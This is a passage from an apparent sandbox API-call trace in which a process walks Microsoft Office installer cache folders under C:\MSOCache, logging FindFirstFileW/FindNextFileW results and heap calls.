ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0065.932] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0065.933] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0065.933] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0065.933] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0065.934] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0065.934] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0065.934] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.935] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0065.935] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0065.935] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0065.935] GetProcessHeap () returned 0x550000 [0065.935] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0065.936] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0065.936] GetProcessHeap () returned 0x550000 [0065.936] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0065.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.942] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.942] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0065.942] GetProcessHeap () returned 0x550000 [0065.942] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2672090 [0065.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0066.547] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.943] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0066.943] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0066.944] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0066.944] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0066.944] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0066.945] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0067.056] GetProcessHeap () returned 0x550000 [0067.056] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2672090 | out: hHeap=0x550000) returned 1 [0067.057] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0067.057] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0067.057] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0067.058] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0067.058] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0067.058] GetProcessHeap () returned 0x550000 [0067.058] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0067.061] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0067.062] GetProcessHeap () returned 0x550000 [0067.062] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0067.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26840b0 [0067.070] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.071] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0067.072] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0067.072] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0067.072] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0067.073] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0067.073] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0067.073] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0067.074] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0067.074] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0067.074] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0067.075] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0067.075] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0067.075] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0067.075] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0067.076] FindClose (in: hFindFile=0x26840b0 | out: hFindFile=0x26840b0) returned 1 [0067.078] GetProcessHeap () returned 0x550000 [0067.078] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0067.078] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0067.078] GetProcessHeap () returned 0x550000 [0067.078] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0067.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 